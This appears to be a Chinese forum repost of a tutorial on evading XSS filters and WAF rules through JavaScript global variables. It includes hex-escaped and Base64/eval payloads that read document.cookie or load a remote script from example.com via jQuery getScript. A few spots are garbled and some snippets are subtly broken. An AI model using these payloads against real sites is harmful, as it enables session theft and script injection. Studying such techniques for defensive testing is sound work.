本帖最后由 show0p 于 2019-6-13 19:36 編輯
使用JavaScript全局變量繞過XSS過濾器
QQ圖片20190613192620.png (115.58 KB, 下載次數(shù): 49)
下載附件
保存到相冊
2019-6-13 19:26 上傳
所以你的目標似乎很容易受到XSS的攻擊,但你利用它的所有嘗試都被過濾器,輸入驗證或WAF規(guī)則阻止了......讓我們探討如何使用JavaScript全局變量繞過它們。 在本文中,我們一起發(fā)現(xiàn)當我們與目標網(wǎng)站之間存在過濾器或防火墻時,我們有多少可能利用反射(甚至存儲)的XSS。其中最有效的方法是使用全局變量一樣self,document,this,top或window。 目錄- 在開始之前
- 連接和十六進制轉義序列
- Eval和Base64編碼的字符串
- jQuery的
- 迭代和Object.keys
- 結論
在開始之前什么是JavaScript全局變量? 一個JavaScript的全局變量聲明以外的功能或窗口對象聲明。它可以從任何功能訪問。https://www.javatpoint.com/javascript-global-variable 例如,讓我們考慮下面的PHP腳本:
echo "<script>
var message = 'Hello ".$_GET["name"]."';
alert(message);
</script>";
如您所見,該name參數(shù)容易受到攻擊。但是在這個例子中,假設Web應用程序有一個過濾器,它阻止使用正則表達式將“document.cookie”字符串用于任何用戶輸入/document[^\.]*.[^\.]*cookie/。我們來看看以下有效負載: [td]有效載荷 | 描述 | 行動 | document.cookie | 標準 | 塊 | document%20.%20cookie | 添加編碼空格char | 塊 | document/*foo*/./*bar*/cookie | 添加評論 | 塊 |
在這種情況下,JavaScript全局變量可用于繞過它。我們有很多方法來訪問document.cookie來自window或self對象。例如,類似的東西window["document"]["cookie"]不會被阻止: [td]有效載荷 | 描述 | 行動 | window["document"]["cookie"] | 全局變量 | 通過 | window["alert"](window["document"]["cookie"]); | 調用alert()從window | 通過 | self[/*foo*/"alert"](self[document"/*bar*/]["cookie"]); | 添加評論 | 通過 |
1.png (204.49 KB, 下載次數(shù): 49)
下載附件
保存到相冊
2019-6-13 19:08 上傳
正如你可以從上面的例子中看到,你甚至可以訪問任何JavaScript函數(shù)語法類似self["alert"]("foo");等于alert("foo");。這種語法為您提供了許多繞過許多弱過濾器的方法。顯然,您幾乎可以在任何地方使用評論,例如: (/* this is a comment */self/* foo */)[/*bar*/"alert"/**/]("yo")
2.png (33.17 KB, 下載次數(shù): 51)
下載附件
保存到相冊
2019-6-13 19:09 上傳
關于“自我”對象您可以從以下位置調用任何JavaScript函數(shù):
1.連接和十六進制轉義序列繞過WAF規(guī)則的最常見技術之一是在可能的情況下使用字符串連接。對于RCE來說也是如此,即使對于SQLi也是如此,對于JavaScript也是如此。 有很多WAF使用基于JavaScript函數(shù)名列表的過濾器。其中許多過濾器會阻止包含字符串的請求,例如alert()或String.fromCharCode()。由于全局變量,可以使用字符串連接或十六進制轉義序列輕松繞過它們。例如:
/*
** alert(document.cookie);
*/
self["ale"+"rt"](self["doc"+"ument"]["coo"+"kie"])
3.png (22.5 KB, 下載次數(shù): 58)
下載附件
保存到相冊
2019-6-13 19:10 上傳
避免過濾器的更復雜的語法是用十六進制轉義序列替換字符串。字符代碼低于的任何字符256都可以使用其十六進制表示形式進行轉義,并使用\x轉義序列: > console.log("\x68\x65\x6c\x6c\x6f\x2c\x20\x77\x6f\x72\x6c\x64\x21")
< hello, world!
4.png (23.28 KB, 下載次數(shù): 55)
下載附件
保存到相冊
2019-6-13 19:10 上傳
顯然,用它們的十六進制表示替換“alert”,“document”和“cookie”字符串,可以調用之前看到的全局變量之一中的任何函數(shù): /*
** alert(document.cookie)
*/
self["\x61\x6c\x65\x72\x74"](
self["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]
["\x63\x6f\x6f\x6b\x69\x65"]
)
5.png (27.83 KB, 下載次數(shù): 57)
下載附件
保存到相冊
2019-6-13 19:11 上傳
6.png (250.71 KB, 下載次數(shù): 60)
下載附件
保存到相冊
2019-6-13 19:12 上傳
2. Eval和Base64編碼的字符串如果WAF過濾我們的輸入,最困難的事情之一是動態(tài)創(chuàng)建(和添加)一個調用遠程JavaScript文件的腳本元素(類似<script src="http://example.com/evil.js" ...)。即使有微弱的過濾器,它的東西,不是那么容易的事,因為有像許多“地辨認”的模式<script,src=,http://等等。 Base64 eval()可以幫助我們,特別是如果我們可以避免發(fā)送“eval”字符串作為用戶的輸入?匆幌孪旅娴睦樱
self["\x65\x76\x61\x6c"](
self["\x61\x74\x6f\x62"](
"dmFyIGhlYWQgPSBkb2N1bWVudC5nZXRFbGVtZW50\
c0J5VGFnTmFtZSgnaGVhZCcpLml0ZW0oMCk7dmFyI\
HNjcmlwdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbn\
QoJ3NjcmlwdCcpO3NjcmlwdC5zZXRBdHRyaWJ1dGU\
oJ3R5cGUnLCAndGV4dC9qYXZhc2NyaXB0Jyk7c2Ny\
aXB0LnNldEF0dHJpYnV0ZSgnc3JjJywgJ2h0dHA6L\
y9leGFtcGxlLmNvbS9teS5qcycpO2hlYWQuYXBwZW\
5kQ2hpbGQoc2NyaXB0KTs="
)
)
如前所示我使用“eval” self [“\ x65 \ x76 \ x61 \ x6c”]和“atob” 的十六進制表示來解碼Base64字符串self [“\ x61 \ x74 \ x6f \ x62”]。在Base64字符串中,有以下腳本:
// select head tag
var head = document.getElementsByTagName('head').item(0);
// create an empty <script> element
var script = document.createElement('script');
// set the script element type attribute
script.setAttribute('type', 'text/javascript');
// set the script element src attribute
script.setAttribute('src','http://example.com/my.js');
// append it to the head element
head.appendChild(script);
7.png (88.85 KB, 下載次數(shù): 48)
下載附件
保存到相冊
2019-6-13 19:12 上傳
3. jQuery正如本文所述,JavaScript為您提供了很多方法來逃避過濾器,這句話在使用jQuery等庫的現(xiàn)代網(wǎng)站上更為明顯。讓我們假設您不能使用self["eval"]它的十六進制表示,您可以通過使用,例如,讓jQuery為您執(zhí)行此操作self["$"]["globalEval"]: [td]有效載荷 | 行動 | self["$"]["globalEval"]("alert(1)"); | 通過 | self["\x24"]
["\x67\x6c\x6f\x62\x61\x6c\x45\x76\x61\x6c"]
("\x61\x6c\x65\x72\x74\x28\x31\x29"); | 通過 |
您甚至可以輕松地添加本地或遠程腳本self["$"]["getScript"](url)。getScript使用GET HTTP請求從服務器加載JavaScript文件,然后執(zhí)行它。該腳本在全局上下文中執(zhí)行,因此它可以引用其他變量并使用jQuery函數(shù)。 [td]有效載荷 | 行動 | self["$"]["getScript"]("https://example.com/my.js"); | 通過 |
8.png (150.74 KB, 下載次數(shù): 56)
下載附件
保存到相冊
2019-6-13 19:13 上傳
4.迭代和Object.keys該Object.keys()方法names以與普通循環(huán)相同的順序返回給定對象自己的屬性的數(shù)組。
9.png (41.08 KB, 下載次數(shù): 52)
下載附件
保存到相冊
2019-6-13 19:13 上傳
這意味著我們可以通過使用索引號而不是函數(shù)名來訪問任何JavaScript函數(shù)。例如,打開瀏覽器的Web控制臺并鍵入: c=0; for(i in self) { if(i == "alert") { console.log(c); } c++; }
這為您提供了self對象內(nèi)“alert”函數(shù)的索引號。每個瀏覽器和每個打開的文檔(在我的示例中為5)的數(shù)字不同,但它可以使您無需使用其名稱即可調用任何函數(shù)。例如: > Object.keys(self)[5]
< "alert"
> self[Object.keys(self)[5]]("foo") // alert("foo")
10.png (39.84 KB, 下載次數(shù): 57)
下載附件
保存到相冊
2019-6-13 19:14 上傳
為了迭代內(nèi)部的所有函數(shù),self您可以遍歷該self對象并檢查該元素是否是一個函數(shù)typeof elm === "function" f=""
for(i in self) {
if(typeof self === "function") {
f += i+", "
}
};
console.log(f)
11.png (160.93 KB, 下載次數(shù): 56)
下載附件
保存到相冊
2019-6-13 19:14 上傳
迭代自我內(nèi)部的所有功能如前所述,這個數(shù)字可以在不同的瀏覽器和文檔上更改,因此,如果不允許“alert”字符串并且不能使用上述任何方法,我們?nèi)绾握业健癮lert”索引號?JavaScript為您提供了很多機會。我們可以做的一件事是為變量(a)分配一個迭代self并找到alert索引號的函數(shù)。然后,我們可以使用test()正則表達式來查找“alert”,例如^a[rel]+t$: a = function() {
c=0; // index counter
for(i in self) {
if(/^a[rel]+t$/.test(i)) {
return c;
}
c++;
}
}
// in one line
a=()=>{c=0;for(i in self){if(/^a[rel]+t$/.test(i)){return c}c++}}
// then you can use a() with Object.keys
// alert("foo")
self[Object.keys(self)[a()]]("foo")
12.png (45.42 KB, 下載次數(shù): 56)
下載附件
保存到相冊
2019-6-13 19:15 上傳
13.png (241.34 KB, 下載次數(shù): 57)
下載附件
保存到相冊
2019-6-13 19:15 上傳
結論消毒和驗證,這兩個術語經(jīng)常被初學者開發(fā)者混淆。驗證意味著驗證正在提交的數(shù)據(jù)是否符合開發(fā)人員為特定輸入字段設置的規(guī)則或規(guī)則集。顯然,對用戶輸入的良好驗證是Web應用程序應該執(zhí)行的基本操作。如果不可能,Web應用程序防火墻可能是一個不錯的選擇。
|